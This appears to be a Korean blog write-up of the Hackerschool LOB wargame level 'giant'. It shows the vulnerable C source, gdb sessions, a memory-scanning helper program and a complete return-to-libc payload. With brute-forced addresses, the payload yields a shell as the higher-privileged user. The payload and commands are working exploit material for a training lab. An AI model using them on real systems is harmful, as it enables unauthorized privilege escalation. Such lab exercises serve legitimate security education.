본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( bugbear -> giant ) by ORANG - 브루트포싱

LOB_bugbear



[bugbear@localhost bugbear]$ bash2

[bugbear@localhost bugbear]$ ls

giant  giant.c

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);


fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);


execve_addr = lib_addr + (int)execve_offset;

// end


memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}


strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}



bash2 띄우고~ 소스를 보면 이번에도 RTL 입니다. 소스가 복잡해졌네요 

// gain address of execve 라는 부분을 보면

/home/giant/assasin의 라이브러리가 로딩되는 주소를 가져오고

/lib/libc.so.6 라이브러리에서 __execve의 주소(오프셋)를 가져오는 것 같습니다.


execve_addr=lib_addr + (int)execve_offset; 을 통해 execve_addr 의 주소를 구하네요

소스가 복잡해보였는데, 전체적인 흐름은 execve의 사용을 유도하기 위함이네요.

execve를 이용한 RTL 방법을 원하는 것 같습니다.


execve의 사용법부터 확인해보면..


       #include <unistd.h>

       int  execve  (const  char  *filename, char *const argv [],

       char *const envp[]); 


이네요. 주의깊게 봐야할 점은 execve의 2번째인자에는 더블포인터형식으로 처리해 주어야 하는 것입니다. 이 부분을 처리하는데 애먹었는데.. &“/bin/sh” 는 시스템 함수 내부에서 찾고, &(&”/bin/sh”)를 환경변수에 올려 처리하는 방법으로 공격해보겠습니다.

공격의 구성은 이렇게 되겠네요

  argv[0] argv[1]

[&“/bin/sh”] [dummy(44)+&execve+dummy(4)+&”/bin/sh”+&(&”/bin/sh”)+&”NULL”]



(gdb) b main

Breakpoint 1 at 0x8048566

(gdb) r

Starting program: /home/bugbear/tmp/./giant


Breakpoint 1, 0x8048566 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>


[bugbear@localhost tmp]$ cat getbinsh.c

#include <stdio.h>


int main(void)

{

long shell=0x40058ae0;

while(memcmp((void*)shell,"/bin/sh", 8))

shell++;

printf("binsh : 0x%x\n", shell);

}

[bugbear@localhost tmp]$ gcc getbinsh.c -o getbinsh

[bugbear@localhost tmp]$ ./getbinsh

binsh : 0x400fbff9



“/bin/sh”의 주소값을 구하고


[bugbear@localhost tmp]$ export ORANG=`perl -e 'print "\xf9\xbf\x0f\x40"'`

(gdb)

0xbffffcf8:  "ORANG=\017@"

(gdb) x/x 0xbffffcfe

0xbffffcfe: 0x400fbff9



더블 포인터 형식으로 “/bin/sh”의 주소를 가리키게 위해 환경변수를 이용하고,

정확한 주소를 찾기 위해 gdb를 이용하여 찾아냈습니다.


0xbfff0120: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfff0130: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfff0140: 0x00000000 0x00000000 0x00000000 0x00000000


NULL값의 주소는 0xbfff0130 로 맞춰주고 공격해보면..


[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "AAAA", "\xf9\xbf\x0f\x40" ,"\xfe\xfc\xff\xbf", "\x30\x01\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

@AAAA@

Segmentation fault



공격이 제대로 되지 않았네요 환경변수를 올린 후, 카피본을 분석해 주소를 가져왔는데

오차가 있는것 같습니다. 그냥 브루트 포스로 공격해보겠습니다.






…생략…

0xBFFFFFF7L

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

@AAAA@0

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

…생략…

0xBFFFFB98L

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

@AAAA@0

i686: /home/bugbear/.bashrc: Permission denied

bash$

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

bash$ my-pass

euid = 514

one step closer


공격해보면 2군데(0xbffffff7, 0xbffffb98)에서 쉘이 뜨는걸 확인할 수 있습니다.

2번째 0xbffffb98은 제가 올린 환경변수의 정확한 주소이고

1번째는 저는 까먹고 신경쓰지 못한 부분인데.. 실행파일의 절대주소가 올라가있는 부분입니다.

그냥 저부분을 쓰면 될걸..

쓸데없이 삽질해서 성공시켰네요